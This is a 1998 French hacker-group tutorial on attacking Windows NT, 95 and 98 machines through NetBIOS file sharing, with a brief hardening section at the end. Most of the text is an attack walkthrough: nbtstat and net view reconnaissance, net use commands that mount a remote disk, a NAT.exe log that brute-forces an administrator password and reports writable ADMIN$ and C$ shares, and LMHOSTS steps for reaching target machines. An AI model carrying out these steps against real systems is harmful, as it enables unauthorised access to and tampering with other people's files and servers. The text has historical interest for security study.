Les Vulnerabilites de WinNT Version 1.0 Par Bodhidarma de MHT WinNT – Sécurité – WinNT – Sécurité – WinNT Projet Guardian,1e partie Dans cette Lecture je vais essayer de répondre à plusieurs questions critiques concernant la securité sous WinNT ; cette Doc traite uniquement d'attaque venant de l'exterieur d'un serveur NT. En aucun cas cette Doc n'est destinée à aider certaines personnes à s'introduire dans des serveurs.Utilisez cette Documentation à bon escient,elle a été écrite dans un but purement éducatif. Tous les programmes mentionnés dans ce texte sont téléchargeable sur les sites suivants: http://www.rhino9.org http://www.technotronic.com WinNT – Sécurité – WinNT – Sécurité – WinNT L'ATTAQUE NETBIOS Cette attaque n'est pas juste spécifique au serveur NT mais aussi à Win95 et Win98. Cette attaque a ete teste et verifie par Vacuum et Chameleon de Rhino9 sur ces quelques versions : Win95 NT 4.0 Workstation NT 4.0 Server NT 5.0 Beta 1 server Windows 98 Beta 2.1 Pour ma part je me suis chargé de la tester sur les versions OSR de Win95 et sur la version finale de Win98 ,malheureusement(ou heureusement pour certain)cette attaque n'a toujours pas été patchée. Tout d'abord avant de rentrer dans le vif du sujet et d'aborder les questions de securité il importe de s'informer un peu sur le NETBIOS, je vous donne donc un petit explicatif ci-dessous. WinNT – Sécurité – WinNT – Sécurité – WinNT Qu'est-ce que le NETBIOS ? Le NETBIOS(Network Basic Input Output System) a été développé par IBM et SYTEK en tant qu'API ,ceci afin d'être utilisé par les programmes clients afin d'accéder aux ressources LAN(Local Area Network ou Réseaux local) Le NETBIOS a été depuis adopté en tant que standard de référence par les programmeurs des grandes firmes informatiques. Le NETBIOS en fait standardise l'interface entre les applications(clients etc...) et les capacités opérationnelles des réseaux LAN, ainsi donc le NETBIOS peut être entendu comme un régulateur entre réseau et client. Derniere remarque, dans un réseau utilisant le NETBIOS ,chaque ordinateur possède un nom spécifique à lui tout seul sur le réseau(cette information est trés importante pour la suite.) Detail de L'Attaque NETBIOS Tout d'abord cette attaque ce fait à partir d'une Interface Windows (Win95,98,NT),pour ceux qui sont encore sous Win3.x arretez de lire cette doc elle ne vous sert strictement a rien....(à part à vous informer) Les 3 façons d'attaquer sont : Sous une fenêtre DOS En utilisant NAT.exe (du Groupe Rhino9) En utilisant Ogre(Du groupe Rhino9,la version 2.0 codée par MHT doit sortir debut juin) WinNT – Sécurité – WinNT – Sécurité – WinNT Commençant par la fenêtre DOS On commence par utiliser la commande –Nbtstat : Exemple : nbtstat -A 202.132.15.26 Explication : -->nbtstat est la commande sous Dos qui demande le statut des sessions NETBIOS. -->Le -A est pour preciser que nous allons donner une IP -->202.132.15.26 : c'est l'IP que nous allons scanner Remarque : Si on voulait mettre une DNS on ecrirait nbtstat -a www.adresseatester.com avec un -a et non un -A ok ? j'ai vu cette erreur 3000 fois. Donc -A : c'est pour Les IP et -a : c'est Pour les DNS . Apres avoir donc écrit nbtstat -A 202.132.15.26 on a normalement ça si tout va bien et que la "machine cible" est sous WinNT,95 ou 98 : NetBios Remote Machine Name Table Name Type Status ---------------------------------------------------------------------- USER <20> Unique Registered USER <00> Unique Registered DOMAINE <00> Group Registered DOMAINE <1C> Group Registered DOMAINE <1B> Unique Registered USER <03> Unique Registered DOMAINE <1E> Group Registered DOMAINE <1D> Unique Registered ..__MSBROWSE__. <01> Group Registered MAC adress = 00-C0-3A-C2-8C-9E Voila ce que l'on a , ce qui peut paraitre trés barbare ..... et voila la légende : Nom de L'ordi. <00> UNIQUE workstation service name<00> GROUP domain name Serveur <20> UNIQUE Server Service name Nom de L'ordi. <03> UNIQUE Registered by the messenger service. This is the computername to be added to the LMHOSTS file but is necessary if you would like to view the remotecomputer in Network Neighborhood. nom du User <03> Registered by the messenger service. Nom du Domaine <1B> Registers the local computer as the master browser for the domain Nom du Domaine <1C> Registers the computer as a domain controller for the domain (PDC or BDC) Nom du Domaine <1D> Registers the local client as the local segments master browser for the domain Nom du Domaine <1E> Registers as a Group NetBIOS Name Network Monitor Name Network Monitor Agent <06> RAS Server <1F> Net DDE <21> RAS Client Voila Voila c'est toujours aussi Barbare ? Je sais .... ça ne sert presque à rien Donc on continue, on a eu ça : c:\windows\nbtstat -A 202.132.15.26 NetBios Remote Machine Name Table Name Type Status ---------------------------------------------------------------------- USER <20> Unique Registered USER <00> Unique Registered DOMAINE <00> Group Registered DOMAINE <1C> Group Registered DOMAINE <1B> Unique Registered USER <03> Unique Registered DOMAINE <1E> Group Registered DOMAINE <1D> Unique Registered ..__MSBROWSE__. <01> Group Registered MAC adress = 00-C0-3A-C2-8C-9E on va maintenant regarder les ressources partagés ,on utilise pour cela la commande -net view- : c:\net view 202.132.15.26 ou net view \\le nom de l'ordi on a alors : c:\net view 202.132.15.26 Share name Type Used as Comment ------------------------------------------------------------------------------ C Disk Dique Dur D Disk RAC The command completed successfully. A remarquer : ici on ne verra pas le C$ ADMIN$ et IPC$(cachés) Apres tout cela on n'a qu'a le "monter" en utilisant la commande net use : c:\net use z: \\202.132.15.26\D The command Completed Successfully. c:\net use New Connection will be Remembered ------------------------------------------------------------------------------- OK Z: \\202.132.15.26\D Microsoft Windows Network OK \\202.132.15.26\C Microsoft Windows Network The command completed successfully. Voilaaaaaaaaaaaaaaaaaaa Gagné !!!! on a qu'a regarder aprés le contenu de z: pour voir le disque dur d: de l'ordinateur à l'IP 202.132.15.26 Voila pour la partie DOS. WinNT – Sécurité – WinNT – Sécurité – WinNT En Utilisant Nat.exe Nat.exe est un petit programme crée par Chameleon et Vacuum de Rhino9 afin de faciliter toutes ces petites démarches pour l'attaque NETBIOS...vous pouvez le télécharger à www.rhino9.org ,une petite interface Graphique a été rajoutée aussi afin de faciliter son execution. Un petit copié-coller étant mieux qu'une longue explication Voila donc une session sous DOS : C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 202.132.15.26 [*]--- Reading usernames from userlist.txt ----> là il regarde la liste des Noms [*]--- Reading passwords from passlist.txt ----> là il regarde la liste des Passwords Vu que certain Serveur sont protégé par Password, Nat.exe utilise une technique de Brute Force Attack et demande donc 2 fichiers : un de passwords et un de noms d'users [*]--- Checking host: 202.132.15.26 [*]--- Obtaining list of remote NetBIOS names [*]--- Attempting to connect with name: * ---> là il teste des Noms d'users [*]--- Unable to connect ---> ça ne marche pas avec ce nom là [*]--- Attempting to connect with name: *SMBSERVER [*]--- CONNECTED with name: *SMBSERVER ---> là ça vient de marcher !!!!! [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03 [*]--- Server time is Mon Dec 01 07:44:34 1997 [*]--- Timezone is UTC-6.0 [*]--- Remote server wants us to encrypt, telling it not to ---> pas le Bon password [*]--- Attempting to connect with name: *SMBSERVER [*]--- CONNECTED with name: *SMBSERVER [*]--- Attempting to establish session [*]--- Was not able to establish session with no password ---> marche pas aussi [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password' [*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password' A ce stade là on est connecté au Serveur [*]--- Obtained server information: Server=[SERVEUR] User=[] Workgroup=[DOMAINE] Domain=[] [*]--- Obtained listing of shares: Sharename Type Comment --------- ---- ------- ADMIN$ Disk: Remote Admin C$ Disk: Default share IPC$ IPC: Remote IPC NETLOGON Disk: Logon server share Test Disk: Nat.exe nous donne ADMIN$ et IPC$ ce que ne donne pas nbtstat [*]--- This machine has a browse list: Server Comment --------- ------- SERVEUR Nat.exe va essayer de s'introduire dans quelques Directory et tester la securité du serveur....en se connnectant à tous les Disques et l'IPC : [*]--- Attempting to access share: \\*SMBSERVER\ [*]--- Unable to access [*]--- Attempting to access share: \\*SMBSERVER\ADMIN$ [*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$ [*]--- Checking write access in: \\*SMBSERVER\ADMIN$ [*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$ [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$ [*]--- Attempting to access share: \\*SMBSERVER\C$ [*]--- WARNING: Able to access share: \\*SMBSERVER\C$ [*]--- Checking write access in: \\*SMBSERVER\C$ [*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$ [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$ [*]--- Attempting to access share: \\*SMBSERVER\NETLOGON [*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON [*]--- Checking write access in: \\*SMBSERVER\NETLOGON [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON [*]--- Attempting to access share: \\*SMBSERVER\Test [*]--- WARNING: Able to access share: \\*SMBSERVER\Test [*]--- Checking write access in: \\*SMBSERVER\Test [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test [*]--- Attempting to access share: \\*SMBSERVER\D$ [*]--- Unable to access [*]--- Attempting to access share: \\*SMBSERVER\ROOT [*]--- Unable to access [*]--- Attempting to access share: \\*SMBSERVER\WINNT$ [*]--- Unable to access Voila , Donc on peut écrire sur tous les Disques Durs et y modifier toutes les infos Ce qui est un Grand Bug de securité..... l'avantage de Nat.exe c'est qu'il automatise toutes ces procédures et permet aussi de scanner une grande partie d'IP,on a donc un gain de temps et d'efficacité. Voila pour Nat.exe WinNT – Sécurité – WinNT – Sécurité – WinNT L'avenement d'OGRE Ogre, est un programme qui scanne aussi le Netbios.Sa puissance réside dans le fait que Ogre est lancé sous Win95 ou 98 et qu'il automatise parfaitement toute l'attaque, avec en plus une interface Graphique assez conviviale, en plus de scanner Le Netbios,Ogre fait aussi un scan de port,essaye d'exploiter quelques Bugs sous FrontPage et sous IIS on ne peut reprocher à Ogre que ça lenteur et ces plantages...L'Equipe de MHT en accord avec Rhino9 a fini de recoder Ogre en VC++ et a résolu ces petits problemes, tout en rajoutant de nouveaux exploits et un nouveau scanner de port.Sortie de Ogre V2.0 MHT release début Juin 98. Donc dés que l'on a fini de scanner avec Ogre, on a qu'a crée un fichier LMHOSTS sous dos (en tapant simplement "edit lmhosts" ATTENTION LMHOSTS DOIT ETRE DANS C:\WINDOWS! on introduit les IP des Ordinateurs avec les ressources partagés tel que : exemple : 202.132.159.45 JIMMY <-------- JIMMY etant: RAPPEL!! ==> <03> UNIQUE Registered by the messenger service. This is the computername to be added to the LMHOSTS file but is necessary if you would like to view the remote computer in Network Neighborhood. 145.235.143.25 PARIS etc... apres sous une fenetre DOS on fait : c:\windows\nbtstat -R NetBios Table Successfully Purged and Reloaded Voila , on n'a plus qu'a repasser sous Windows et on fait : Recherche ---> Ordinateur on écrit le Nom de l'ordinateur et nous y voila!!! C'est la maniere d'attaquer la plus simple pour Le NETBIOS. WinNT – Sécurité – WinNT – Sécurité – WinNT Voila comment attaquer un serveur NT ou Win(95,98),cette attaque peut paraitre trés simple mais elle peut s'avérer dangereuse si vous avez des données sensibles sur votre Disque Dur. Donc dans la partie qui suit je vous explique comment SECURISER votre serveur. WinNT – Sécurité – WinNT – Sécurité – WinNT Securiser son Serveur contre l'attaque NETBIOS Pour les administrateurs de Serveurs NT : 1 Déconnectez la "NetBIOS interface" ,le "Serveur" et "Station de travail" du "Client WINS(TCP/IP)" 2.Dans le Partage de Fichiers et imprimante : optez pour l'option Mot De passe 3.Le Mot de passe devrait etre de préference de plus de 8 Lettres 4.La methode d'encryption de Passwords sous Windows est une Methode DES donc le fait de mettre plus de 8 lettres avec des caractéres spéciaux bloque les meilleurs Crackers Pour les utilisateurs Win(95,98) Même chose que pour WinNT Sauf la partie 1 WinNT – Sécurité – WinNT – Sécurité – WinNT Voila ,j'espere que cette premiere partie des "Vulnaribilités WinNT" vous aura été d'une quelconque utilité.j'espere sortir la partie 2 vers le debut du mois de Juin. N'hesitez pas a m'envoyer des mails: Complaintes,corrections,Questions etc... j'essayerai de les prendre tous en compte pour mes prochaines versions envoyez vos mail a :Bodhidarma@hotmail.com ou a tous le groupe a : mht@pemail.com WinNT – Sécurité – WinNT – Sécurité – WinNT Un grand Merci a Chameleon et Vacuum du Rhino9(Leur Doc est sur le site www.technotronic.com) team qui ont accepté de collaborer avec MHT security team pour sortir cette petite Doc. Mardi 26 Mai,6 Heure 30 AM